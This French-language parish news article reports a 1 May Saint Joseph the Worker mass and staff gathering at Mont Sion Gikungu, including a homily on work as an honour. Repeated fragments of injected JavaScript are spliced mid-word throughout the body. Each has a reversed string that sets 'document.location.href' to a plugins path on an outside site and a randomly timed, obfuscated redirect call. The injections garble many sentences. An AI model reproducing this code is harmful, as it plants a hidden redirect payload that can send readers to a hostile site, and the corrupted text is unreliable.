Le 1er mai de chaque année, l’Eglise Catholique célèbre la solennité de Saint Joseph, le patron des travailleurs. Le gouvernement de pas mal des pays au monde, a fait cette journée la fête  des travailleurs et du travail.  Au Mont Sion Gikungu, les cérémonies ont été commencées par une messe qui a débuté 11heures, dans la Chapelle Eucharistique.

Abbé Bertin: » le travail n’est pas un châtiment »

La célébration a été présidée par Abbé Bertin BETU, en concélébration avec le Père Jean Bernard MAZURU. « Le travail est un honneur, travailler est un honneur. Ce n’est pas un châtiment, a introduit Abbé Bertin. Dans son homélie, il a rappelé que l’homme a une valeur considérable parce que comme il l’a dit, l’homme a eu l’honneur de continuer  le travail de la création. « Le travail est différent de la punition, insiste-il.

Selon lui, le travail toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne une place à quelqu’un dans la société. « Dans le besogne de l’homme, il y a des traces de Dieu, martèle-t-il, parce que, il ajoute, l’homme trouve dans son travail l’apparence du Créateur. »

Le travail est un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don du Seigneur, comme le dit le Prêtre, il est pour cette raison interdit de le mépriser, parce que, petit soit-il, il toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne du pain quotidien à la famille. Le travail est un chemin qu’a tracé le Puissant pour procurer  du pain à ses créatures.

Le célébrant interroge alors : « Quel valeur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnez-vous à n’importe quel employé ? Est-ce ton travail te toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne l’honneur d’être appelé enfant de Dieu ? » Apres un moment de silence, il adjoint : « Que notre travail soit un chemin qui nous mène à Dieu

Il demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande encore : « C’est avec amour que tu fais ta tâche ? Si c’est ainsi, comment justifies-tu la paresse et la perte du temps ? Pourquoi la nonchalance ?pourquoi la peur et la jalousie ? » Selon lui, tout travail fait par amour n’est pas du tout pesant. C’est ainsi qu’il a invité  les participants à voir ce qu’ils font et comment, afin de rendre honorifique le travail.

« Que tout ce que nous faisions soit louange à Dieu. Que puisse Joseph, le Patron des travailleurs prier pour nous, ainsi a-t-il clôturé.

Et après la messe ?

Ils se sont tous rencontrés dans la salle Saint Vincent Palottin pour partager un verre. Les allocutions ont été prononcées à commencer par celle du Père Supérieur et aussi Chef du Personnel, Jean Bernard : «  Je vous souhaite d’abord la Bonne Fête. Comme nous l’avons entendu pendant la messe, le travail est un honneur. C’est Dieu qui le toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne. » Il a alors invité tous les employés à faire de leur mieux : « Faisons bien notre boulot, de tout notre cœur, pour que tout soit en ordre. » Il a fini par encourager ces derniers et leurs a souhaité encore une joyeuse fête.

 

Quant au représentant des employés Fidèle BARINAKANDI, il a manifesté sa joie : «Je suis vraiment heureux, et de tout mon cœur je remercie le Chef du Personnel qui se souvient de nous chaque année. Nous vous remercions parce que, à par d’être nos chefs, vous êtes aussi nos Pères spirituels et  nous sommes convaincus que vous nous aimez. » Il leur a demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andé de continuer à montrer cet amour  même dans les moments de durs épreuves.

Le Père Claudio JERIA, économe de la communauté, a  lui aussi souhaité la bonne fête à tous les employés et a prouvé sa gaieté. La fête a été clôturée par une bénédiction finale de la part du Père Supérieur.

 

Brigitte IRAKOZE

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